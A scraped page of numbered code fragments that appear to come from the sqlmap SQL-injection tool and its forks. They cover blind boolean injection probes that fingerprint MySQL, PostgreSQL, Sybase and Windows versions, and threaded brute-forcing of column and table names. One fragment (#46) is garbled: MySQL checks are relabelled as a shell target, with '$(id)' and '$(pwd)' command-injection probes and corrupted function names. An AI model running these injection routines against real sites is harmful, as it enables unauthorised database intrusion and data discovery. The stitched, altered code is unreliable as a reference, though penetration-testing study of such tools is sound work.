            if Backend.isVersionGreaterOrEqualThan("5"):
                kb.data.has_information_schema = True

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.MYSQL
        logger.info(infoMsg)

        result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL")

        if result:
            infoMsg = "confirming %s" % DBMS.MYSQL
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("USER() LIKE USER()")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
                logger.warn(warnMsg)

                return False

            # reading information_schema on some platforms is causing annoying timeout exits
            # Reference: http://bugs.mysql.com/bug.php?id=15855

            # Determine if it is MySQL >= 5.0.0
            if inject.checkBooleanExpression(
                    "ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],0))"):
                kb.data.has_information_schema = True
                Backend.setVersion(">= 5.0.0")
                setDbms("%s 5" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                infoMsg = "actively fingerprinting %s" % DBMS.MYSQL
                logger.info(infoMsg)

                # Check if it is MySQL >= 5.5.0
                if inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
                    Backend.setVersion(">= 5.5.0")

                # Check if it is MySQL >= 5.1.2 and < 5.5.0
                elif inject.checkBooleanExpression(
                        "@@table_open_cache=@@table_open_cache"):
                    if inject.checkBooleanExpression(
                            "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"
                    ):
                        Backend.setVersionList([">= 5.1.12", "< 5.5.0"])
                    elif inject.checkBooleanExpression(
                            "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)"
                    ):
                        Backend.setVersionList([">= 5.1.7", "< 5.1.12"])
                    elif inject.checkBooleanExpression(
                            "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)"
                    ):
                        Backend.setVersion("= 5.1.6")
                    elif inject.checkBooleanExpression(
                            "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)"
                    ):
                        Backend.setVersionList([">= 5.1.5", "< 5.1.6"])
                    else:
                        Backend.setVersionList([">= 5.1.2", "< 5.1.5"])

                # Check if it is MySQL >= 5.0.0 and < 5.1.2
                elif inject.checkBooleanExpression("@@hostname=@@hostname"):
                    Backend.setVersionList([">= 5.0.38", "< 5.1.2"])
                elif inject.checkBooleanExpression(
                        "@@character_set_filesystem=@@character_set_filesystem"
                ):
                    Backend.setVersionList([">= 5.0.19", "< 5.0.38"])
                elif not inject.checkBooleanExpression(
                        "[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])"
                ):
                    Backend.setVersionList([">= 5.0.11", "< 5.0.19"])
                elif inject.checkBooleanExpression(
                        "@@div_precision_increment=@@div_precision_increment"):
                    Backend.setVersionList([">= 5.0.6", "< 5.0.11"])
                elif inject.checkBooleanExpression(
                        "@@automatic_sp_privileges=@@automatic_sp_privileges"):
                    Backend.setVersionList([">= 5.0.3", "< 5.0.6"])
                else:
                    Backend.setVersionList([">= 5.0.0", "< 5.0.3"])

            elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"):
                Backend.setVersion(">= 5.0.2")
                setDbms("%s 5" % DBMS.MYSQL)
                self.getBanner()

            elif inject.checkBooleanExpression(
                    "STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"):
                Backend.setVersion("< 5.0.0")
                setDbms("%s 4" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                # Check which version of MySQL < 5.0.0 it is
                if inject.checkBooleanExpression(
                        "3=(SELECT COERCIBILITY(USER()))"):
                    Backend.setVersionList([">= 4.1.11", "< 5.0.0"])
                elif inject.checkBooleanExpression(
                        "2=(SELECT COERCIBILITY(USER()))"):
                    Backend.setVersionList([">= 4.1.1", "< 4.1.11"])
                elif inject.checkBooleanExpression(
                        "CURRENT_USER()=CURRENT_USER()"):
                    Backend.setVersionList([">= 4.0.6", "< 4.1.1"])

                    if inject.checkBooleanExpression(
                            "'utf8'=(SELECT CHARSET(CURRENT_USER()))"):
                        Backend.setVersion("= 4.1.0")
                    else:
                        Backend.setVersionList([">= 4.0.6", "< 4.1.0"])
                else:
                    Backend.setVersionList([">= 4.0.0", "< 4.0.6"])
            else:
                Backend.setVersion("< 4.0.0")
                setDbms("%s 3" % DBMS.MYSQL)
                self.getBanner()

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
            logger.warn(warnMsg)

            return False
Example #44
0
    def checkDbms(self):
        """
        References for fingerprint:

        * https://www.postgresql.org/docs/current/static/release.html
        """

        if not conf.extensiveFp and Backend.isDbmsWithin(PGSQL_ALIASES):
            setDbms(DBMS.PGSQL)

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.PGSQL
        logger.info(infoMsg)

        # NOTE: Vertica works too without the CONVERT_TO()
        result = inject.checkBooleanExpression(
            "CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL")

        if result:
            infoMsg = "confirming %s" % DBMS.PGSQL
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(
                "COALESCE([RANDNUM], NULL)=[RANDNUM]")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.PGSQL)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
            logger.info(infoMsg)

            if inject.checkBooleanExpression("SINH(0)=0"):
                Backend.setVersion(">= 12.0")
            elif inject.checkBooleanExpression("SHA256(NULL) IS NULL"):
                Backend.setVersion(">= 11.0")
            elif inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"):
                Backend.setVersionList([">= 10.0", "< 11.0"])
            elif inject.checkBooleanExpression("SIND(0)=0"):
                Backend.setVersionList([">= 9.6.0", "< 10.0"])
            elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"):
                Backend.setVersionList([">= 9.5.0", "< 9.6.0"])
            elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"):
                Backend.setVersionList([">= 9.4.0", "< 9.5.0"])
            elif inject.checkBooleanExpression(
                    "ARRAY_REPLACE(NULL,1,1) IS NULL"):
                Backend.setVersionList([">= 9.3.0", "< 9.4.0"])
            elif inject.checkBooleanExpression("ROW_TO_JSON(NULL) IS NULL"):
                Backend.setVersionList([">= 9.2.0", "< 9.3.0"])
            elif inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"):
                Backend.setVersionList([">= 9.1.0", "< 9.2.0"])
            elif inject.checkBooleanExpression("LENGTH(TO_CHAR(1,'EEEE'))>0"):
                Backend.setVersionList([">= 9.0.0", "< 9.1.0"])
            elif inject.checkBooleanExpression("2=(SELECT DIV(6,3))"):
                Backend.setVersionList([">= 8.4.0", "< 9.0.0"])
            elif inject.checkBooleanExpression(
                    "EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"):
                Backend.setVersionList([">= 8.3.0", "< 8.4.0"])
            elif inject.checkBooleanExpression(
                    "ISFINITE(TRANSACTION_TIMESTAMP())"):
                Backend.setVersionList([">= 8.2.0", "< 8.3.0"])
            elif inject.checkBooleanExpression("9=(SELECT GREATEST(5,9,1))"):
                Backend.setVersionList([">= 8.1.0", "< 8.2.0"])
            elif inject.checkBooleanExpression(
                    "3=(SELECT WIDTH_BUCKET(5.35,0.024,10.06,5))"):
                Backend.setVersionList([">= 8.0.0", "< 8.1.0"])
            elif inject.checkBooleanExpression(
                    "'d'=(SELECT SUBSTR(MD5('sqlmap'),1,1))"):
                Backend.setVersionList([">= 7.4.0", "< 8.0.0"])
            elif inject.checkBooleanExpression(
                    "'p'=(SELECT SUBSTR(CURRENT_SCHEMA(),1,1))"):
                Backend.setVersionList([">= 7.3.0", "< 7.4.0"])
            elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"):
                Backend.setVersionList([">= 7.2.0", "< 7.3.0"])
            elif inject.checkBooleanExpression(
                    "'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'),2,1))"):
                Backend.setVersionList([">= 7.1.0", "< 7.2.0"])
            elif inject.checkBooleanExpression("8=(SELECT POW(2,3))"):
                Backend.setVersionList([">= 7.0.0", "< 7.1.0"])
            elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"):
                Backend.setVersionList([">= 6.5.0", "< 6.5.3"])
            elif inject.checkBooleanExpression("VERSION()=VERSION()"):
                Backend.setVersionList([">= 6.4.0", "< 6.5.0"])
            elif inject.checkBooleanExpression(
                    "2=(SELECT SUBSTR(CURRENT_DATE,1,1))"):
                Backend.setVersionList([">= 6.3.0", "< 6.4.0"])
            elif inject.checkBooleanExpression(
                    "'s'=(SELECT SUBSTRING('sqlmap',1,1))"):
                Backend.setVersionList([">= 6.2.0", "< 6.3.0"])
            else:
                Backend.setVersion("< 6.2.0")

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
            logger.warn(warnMsg)

            return False
Example #45
0
    def _commentCheck(self):
        infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(
            "[RANDNUM]=[RANDNUM]/* NoValue */")

        if not result:
            warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL
            logger.warn(warnMsg)

            return None

        # Reference: https://downloads.mysql.com/archives/community/
        versions = (
            (32200, 32235),  # MySQL 3.22
            (32300, 32359),  # MySQL 3.23
            (40000, 40032),  # MySQL 4.0
            (40100, 40131),  # MySQL 4.1
            (50000, 50096),  # MySQL 5.0
            (50100, 50172),  # MySQL 5.1
            (50400, 50404),  # MySQL 5.4
            (50500, 50558),  # MySQL 5.5
            (50600, 50638),  # MySQL 5.6
            (50700, 50720),  # MySQL 5.7
            (60000, 60014),  # MySQL 6.0
            (80000, 80003),  # MySQL 8.0
        )

        index = -1
        for i in xrange(len(versions)):
            element = versions[i]
            version = element[0]
            version = getUnicode(version)
            result = inject.checkBooleanExpression(
                "[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" %
                version)

            if result:
                break
            else:
                index += 1

        if index >= 0:
            prevVer = None

            for version in xrange(versions[index][0], versions[index][1] + 1):
                version = getUnicode(version)
                result = inject.checkBooleanExpression(
                    "[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" %
                    version)

                if result:
                    if not prevVer:
                        prevVer = version

                    if version[0] == "3":
                        midVer = prevVer[1:3]
                    else:
                        midVer = prevVer[2]

                    trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])

                    return trueVer

                prevVer = version

        return None
Example #46
0
    def checkDbms(self):
        """
        References for fingerprint:

        * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
        * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
        * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
        * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
        * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
        """

        if not conf.extensiveFp and Backend.isDbmsWithin(SHELL_ALIASES):
            setDbms("%s %s" % (DBMS.SHELL, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan("5"):
                kb.data.has_information_schema = True

            self.getBanner()

            return True

        infoMsg = "testing %s command injection" % DBMS.SHELL
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(
            '$(expr substr "$(id)" 1 1) = "u"')

        if result:
            infoMsg = "confirming %s command injection" % DBMS.SHELL
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(
                '$(expr substr "$(pwd)" 1 1) = "/"')

            if not result:
                # Note: MemSQL doesn't support SESSION_USER()
                result = inject.checkBooleanExpression(
                    "GEOGRAPHY_AREA(NULL) IS NULL")

                if result:
                    hashDBWrite(HASHDB_KEYS.DBMS_FORK, FORK.MEMSQL)

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.SHELL
                logger.warn(warnMsg)

                return False

            # reading information_schema on some platforms is causing annoying timeout exits
            # Reference: http://bugs.mysql.com/bug.python?id=15855

            # Determine if it is MySQL >= 8.0.0
            if inject.checkBooleanExpression(
                    "version_compare(pythonversion(), \"7.0\") >= 0"):
                kb.data.has_information_schema = True
                Backend.setVersion(">= 7.0")
                setDbms("%s 7" % DBMS.SHELL)
                self.getBanner()

            # Determine if it is MySQL >= 5.0.0
            elif inject.checkBooleanExpression(
                    "ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"):
                kb.data.has_information_schema = True
                Backend.setVersion(">= 5.0.0")
                setDbms("%s 5" % DBMS.SHELL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                infoMsg = "actively fingerprinting %s" % DBMS.SHELL
                logger.info(infoMsg)

                # Check if it is MySQL >= 5.7
                if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"):
                    Backend.setVersion(">= 5.7")

                # Check if it is MySQL >= 5.6
                elif inject.checkBooleanExpression(
                        "ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"):
                    Backend.setVersion(">= 5.6")

                # Check if it is MySQL >= 5.5
                elif inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
                    Backend.setVersion(">= 5.5")

                # Check if it is MySQL >= 5.1.2 and < 5.5.0
                elif inject.checkBooleanExpression(
                        "@@table_open_cache=@@table_open_cache"):
                    if inject.checkBooleanExpression(
                            "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"
                    ):
                        Backend.setVersionList([">= 5.1.12", "< 5.5.0"])
                    elif inject.checkBooleanExpression(
                            "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)"
                    ):
                        Backend.setVersionList([">= 5.1.7", "< 5.1.12"])
                    elif inject.checkBooleanExpression(
                            "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)"
                    ):
                        Backend.setVersion("= 5.1.6")
                    elif inject.checkBooleanExpression(
                            "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)"
                    ):
                        Backend.setVersionList([">= 5.1.5", "< 5.1.6"])
                    else:
                        Backend.setVersionList([">= 5.1.2", "< 5.1.5"])

                # Check if it is MySQL >= 5.0.0 and < 5.1.2
                elif inject.checkBooleanExpression("@@hostname=@@hostname"):
                    Backend.setVersionList([">= 5.0.38", "< 5.1.2"])
                elif inject.checkBooleanExpression(
                        "@@character_set_filesystem=@@character_set_filesystem"
                ):
                    Backend.setVersionList([">= 5.0.19", "< 5.0.38"])
                elif not inject.checkBooleanExpression(
                        "[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])"
                ):
                    Backend.setVersionList([">= 5.0.11", "< 5.0.19"])
                elif inject.checkBooleanExpression(
                        "@@div_precision_increment=@@div_precision_increment"):
                    Backend.setVersionList([">= 5.0.6", "< 5.0.11"])
                elif inject.checkBooleanExpression(
                        "@@automatic_sp_privileges=@@automatic_sp_privileges"):
                    Backend.setVersionList([">= 5.0.3", "< 5.0.6"])
                else:
                    Backend.setVersionList([">= 5.0.0", "< 5.0.3"])

            elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"):
                Backend.setVersion(">= 5.0.2")
                setDbms("%s 5" % DBMS.SHELL)
                self.getBanner()

            elif inject.checkBooleanExpression(
                    "STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"):
                Backend.setVersion("< 5.0.0")
                setDbms("%s 4" % DBMS.SHELL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                # Check which version of MySQL < 5.0.0 it is
                if inject.checkBooleanExpression(
                        "3=(SELECT COERCIBILITY(USER()))"):
                    Backend.setVersionList([">= 4.1.11", "< 5.0.0"])
                elif inject.checkBooleanExpression(
                        "2=(SELECT COERCIBILITY(USER()))"):
                    Backend.setVersionList([">= 4.1.1", "< 4.1.11"])
                elif inject.checkBooleanExpression(
                        "CURRENT_USER()=CURRENT_USER()"):
                    Backend.setVersionList([">= 4.0.6", "< 4.1.1"])

                    if inject.checkBooleanExpression(
                            "'utf8'=(SELECT CHARSET(CURRENT_USER()))"):
                        Backend.setVersion("= 4.1.0")
                    else:
                        Backend.setVersionList([">= 4.0.6", "< 4.1.0"])
                else:
                    Backend.setVersionList([">= 4.0.0", "< 4.0.6"])
            else:
                Backend.setVersion("< 4.0.0")
                setDbms("%s 3" % DBMS.SHELL)
                self.getBanner()

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.SHELL
            logger.warn(warnMsg)

            return False
Example #47
0
def columnExists(columnFile, regex=None):
    if not conf.tbl:
        errMsg = "missing table parameter"
        raise sqlmapMissingMandatoryOptionException, errMsg

    columns = getFileItems(columnFile, unique=True)
    columns = filterListValue(columns, regex)

    if conf.db and not conf.db.endswith(METADB_SUFFIX):
        table = "%s%s%s" % (conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', conf.tbl)
    else:
        table = conf.tbl
    table = safeSQLIdentificatorNaming(table)

    retVal = []
    infoMsg = "checking column existence using items from '%s'" % columnFile
    logger.info(infoMsg)

    count = [0]
    length = len(columns)
    threads = []
    collock = threading.Lock()
    iolock = threading.Lock()
    kb.threadContinue = True
    kb.bruteMode = True

    def columnExistsThread():
        while count[0] < length and kb.threadContinue:
            collock.acquire()
            column = safeSQLIdentificatorNaming(columns[count[0]])
            count[0] += 1
            collock.release()

            result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s)", (column, table)))

            iolock.acquire()

            if result:
                retVal.append(column)

                if conf.verbose in (1, 2):
                    clearConsoleLine(True)
                    infoMsg = "\r[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), column)
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%')
                dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)

            iolock.release()

    if conf.threads > 1:
        infoMsg = "starting %d threads" % conf.threads
        logger.info(infoMsg)
    else:
        message = "please enter number of threads? [Enter for %d (current)] " % conf.threads
        choice = readInput(message, default=str(conf.threads))
        if choice and choice.isdigit():
            conf.threads = int(choice)
        
    if conf.threads == 1:
        warnMsg = "running in a single-thread mode. This could take a while."
        logger.warn(warnMsg)

    # Start the threads
    for numThread in range(conf.threads):
        thread = threading.Thread(target=columnExistsThread, name=str(numThread))
        thread.start()
        threads.append(thread)

    # And wait for them to all finish
    try:
        alive = True

        while alive:
            alive = False

            for thread in threads:
                if thread.isAlive():
                    alive = True
                    thread.join(5)
    except KeyboardInterrupt:
        kb.threadContinue = False
        kb.threadException = True

        print
        logger.debug("waiting for threads to finish")

        warnMsg = "user aborted during common column existence check. "
        warnMsg += "sqlmap will display some columns only"
        logger.warn(warnMsg)

        try:
            while (threading.activeCount() > 1):
                pass

        except KeyboardInterrupt:
            raise sqlmapThreadException, "user aborted"
    finally:
        kb.bruteMode = False
        kb.threadContinue = True
        kb.threadException = False

    clearConsoleLine(True)
    dataToStdout("\n")

    if not retVal:
        warnMsg = "no column found"
        logger.warn(warnMsg)
    else:
        columns = {}

        for column in retVal:
            result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))

            if result:
                columns[column] = 'numeric'
            else:
                columns[column] = 'non-numeric'

            dataToSessionFile("[%s][%s][%s][COLUMN_EXISTS][%s|%s %s]\n" % (conf.url, kb.injection.place,\
              safeFormatString(conf.parameters[kb.injection.place]), safeFormatString(table),\
              safeFormatString(column), safeFormatString(columns[column])))

        kb.data.cachedColumns[conf.db] = {conf.tbl: columns}

    return kb.data.cachedColumns
Example #48
0
    def checkDbms(self):
        """
        References for fingerprint:

        * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3)
        """

        if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES)
                                     or conf.dbms in PGSQL_ALIASES):
            setDbms(DBMS.PGSQL)

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.PGSQL
        logger.info(infoMsg)

        randInt = getUnicode(randomInt(1))
        result = inject.checkBooleanExpression("%s::int=%s" %
                                               (randInt, randInt))

        if result:
            infoMsg = "confirming %s" % DBMS.PGSQL
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("COALESCE(%s, NULL)=%s" %
                                                   (randInt, randInt))

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.PGSQL)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = "actively fingerprinting %s" % DBMS.PGSQL
            logger.info(infoMsg)

            if inject.checkBooleanExpression("REVERSE('sqlmap')='pamlqs'"):
                Backend.setVersion(">= 9.1.0")
            elif inject.checkBooleanExpression("LENGTH(TO_CHAR(1, 'EEEE'))>0"):
                Backend.setVersionList([">= 9.0.0", "< 9.1.0"])
            elif inject.checkBooleanExpression("2=(SELECT DIV(6, 3))"):
                Backend.setVersionList([">= 8.4.0", "< 9.0.0"])
            elif inject.checkBooleanExpression(
                    "EXTRACT(ISODOW FROM CURRENT_TIMESTAMP)<8"):
                Backend.setVersionList([">= 8.3.0", "< 8.4.0"])
            elif inject.checkBooleanExpression(
                    "ISFINITE(TRANSACTION_TIMESTAMP())"):
                Backend.setVersionList([">= 8.2.0", "< 8.3.0"])
            elif inject.checkBooleanExpression("9=(SELECT GREATEST(5, 9, 1))"):
                Backend.setVersionList([">= 8.1.0", "< 8.2.0"])
            elif inject.checkBooleanExpression(
                    "3=(SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5))"):
                Backend.setVersionList([">= 8.0.0", "< 8.1.0"])
            elif inject.checkBooleanExpression(
                    "'d'=(SELECT SUBSTR(MD5('sqlmap'), 1, 1))"):
                Backend.setVersionList([">= 7.4.0", "< 8.0.0"])
            elif inject.checkBooleanExpression(
                    "'p'=(SELECT SUBSTR(CURRENT_SCHEMA(), 1, 1))"):
                Backend.setVersionList([">= 7.3.0", "< 7.4.0"])
            elif inject.checkBooleanExpression("8=(SELECT BIT_LENGTH(1))"):
                Backend.setVersionList([">= 7.2.0", "< 7.3.0"])
            elif inject.checkBooleanExpression(
                    "'a'=(SELECT SUBSTR(QUOTE_LITERAL('a'), 2, 1))"):
                Backend.setVersionList([">= 7.1.0", "< 7.2.0"])
            elif inject.checkBooleanExpression("8=(SELECT POW(2, 3))"):
                Backend.setVersionList([">= 7.0.0", "< 7.1.0"])
            elif inject.checkBooleanExpression("'a'=(SELECT MAX('a'))"):
                Backend.setVersionList([">= 6.5.0", "< 6.5.3"])
            elif inject.checkBooleanExpression("VERSION()=VERSION()"):
                Backend.setVersionList([">= 6.4.0", "< 6.5.0"])
            elif inject.checkBooleanExpression(
                    "2=(SELECT SUBSTR(CURRENT_DATE, 1, 1))"):
                Backend.setVersionList([">= 6.3.0", "< 6.4.0"])
            elif inject.checkBooleanExpression(
                    "'s'=(SELECT SUBSTRING('sqlmap', 1, 1))"):
                Backend.setVersionList([">= 6.2.0", "< 6.3.0"])
            else:
                Backend.setVersion("< 6.2.0")

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.PGSQL
            logger.warn(warnMsg)

            return False
Example #49
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \
           or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \
           Backend.getVersion().isdigit():
            setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion()))

            self.getBanner()

            Backend.setOs(OS.WINDOWS)

            return True

        infoMsg = "testing %s" % DBMS.SYBASE
        logger.info(infoMsg)

        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression("@@transtate=@@transtate")

        if result:
            infoMsg = "confirming %s" % DBMS.SYBASE
            logger.info(infoMsg)

            result = inject.checkBooleanExpression("suser_id()=suser_id()")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.SYBASE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = "actively fingerprinting %s" % DBMS.SYBASE
            logger.info(infoMsg)

            result = unArrayizeValue(
                inject.getValue("SUBSTRING(@@VERSION,1,1)"))

            if result and result.isdigit():
                Backend.setVersion(str(result))
            else:
                for version in xrange(12, 16):
                    result = inject.checkBooleanExpression(
                        "PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version)

                    if result:
                        Backend.setVersion(str(version))
                        break

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
            logger.warn(warnMsg)

            return False
Example #50
0
    def checkDbmsOs(self, detailed=False):
        if Backend.getOs() and Backend.getOsVersion(
        ) and Backend.getOsServicePack():
            return

        if not Backend.getOs():
            Backend.setOs(OS.WINDOWS)

        if not detailed:
            return

        infoMsg = "fingerprinting the back-end DBMS operating system "
        infoMsg += "version and service pack"
        logger.info(infoMsg)

        infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()

        self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
        inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" %
                         (self.fileTblName, self.tblField, "@@VERSION"))

        versions = {
            "2003": ("5.2", (2, 1)),
            # TODO: verify this
            #"2003": ("6.0", (2, 1)),
            "2008": ("7.0", (1, )),
            "2000": ("5.0", (4, 3, 2, 1)),
            "7": ("6.1", (1, 0)),
            "XP": ("5.1", (2, 1)),
            "NT": ("4.0", (6, 5, 4, 3, 2, 1))
        }

        # Get back-end DBMS underlying operating system version
        for version, data in versions.items():
            query = "(SELECT LEN(%s) FROM %s WHERE %s " % (
                self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%Windows NT " + data[0] + "%')>0"
            result = inject.checkBooleanExpression(query)

            if result:
                Backend.setOsVersion(version)
                infoMsg += " %s" % Backend.getOsVersion()
                break

        if not Backend.getOsVersion():
            Backend.setOsVersion("2003")
            Backend.setOsServicePack(2)

            warnMsg = "unable to fingerprint the underlying operating "
            warnMsg += "system version, assuming it is Windows "
            warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(),
                                               Backend.getOsServicePack())
            logger.warn(warnMsg)

            self.cleanup(onlyFileTbl=True)

            return

        # Get back-end DBMS underlying operating system service pack
        sps = versions[Backend.getOsVersion()][1]

        for sp in sps:
            query = "SELECT LEN(%s) FROM %s WHERE %s " % (
                self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%Service Pack " + getUnicode(sp) + "%'"
            result = inject.goStacked(query)

            if result is not None and len(result) > 0 and result[0].isdigit():
                Backend.setOsServicePack(sp)
                break

        if not Backend.getOsServicePack():
            debugMsg = "assuming the operating system has no service pack"
            logger.debug(debugMsg)

            Backend.setOsServicePack(0)

        if Backend.getOsVersion():
            infoMsg += " Service Pack %d" % Backend.getOsServicePack()

        logger.info(infoMsg)

        self.cleanup(onlyFileTbl=True)
Example #51
0
def tableExists(tableFile, regex=None):
    if kb.tableExistsChoice is None and not any(
            _ for _ in kb.injection.data
            if _ not in (PAYLOAD.TECHNIQUE.TIME,
                         PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
        warnMsg = u"不建议使用'%s'和'%s'" % (
            PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME],
            PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
        warnMsg += u"对常用的表的存在性进行检查"
        logger.warn(warnMsg)

        message = u"你确定要继续吗? [y/N] "
        kb.tableExistsChoice = readInput(message, default='N', boolean=True)

        if not kb.tableExistsChoice:
            return None

    result = inject.checkBooleanExpression(
        "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
                                (randomInt(1), randomStr())))

    if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
        conf.db = conf.db.upper()

    if result:
        errMsg = u"因为检测到的结果无效,所以无法对数据库中的表的存在性进行检查,"
        errMsg += u"(很可能是由于使用的注入无法区分错误结果)"
        raise SqlmapDataException(errMsg)

    message = u"您要使用哪些常用表(wordlist)文件?\n"
    message += u"[1] 默认 '%s' (按回车键)\n" % tableFile
    message += u"[2] 自定义"
    choice = readInput(message, default='1')

    if choice == '2':
        message = u"自定义的常用表文件位置在哪里?\n"
        tableFile = readInput(message) or tableFile

    infoMsg = u"使用自己提供的表文件'%s'检查表的存在性" % tableFile
    logger.info(infoMsg)

    tables = getFileItems(tableFile,
                          lowercase=Backend.getIdentifiedDbms()
                          in (DBMS.ACCESS, ),
                          unique=True)
    tables.extend(_addPageTextWords())
    tables = filterListValue(tables, regex)

    threadData = getCurrentThreadData()
    threadData.shared.count = 0
    threadData.shared.limit = len(tables)
    threadData.shared.value = []
    threadData.shared.unique = set()

    def tableExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                table = safeSQLIdentificatorNaming(
                    tables[threadData.shared.count], True)
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms(
            ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
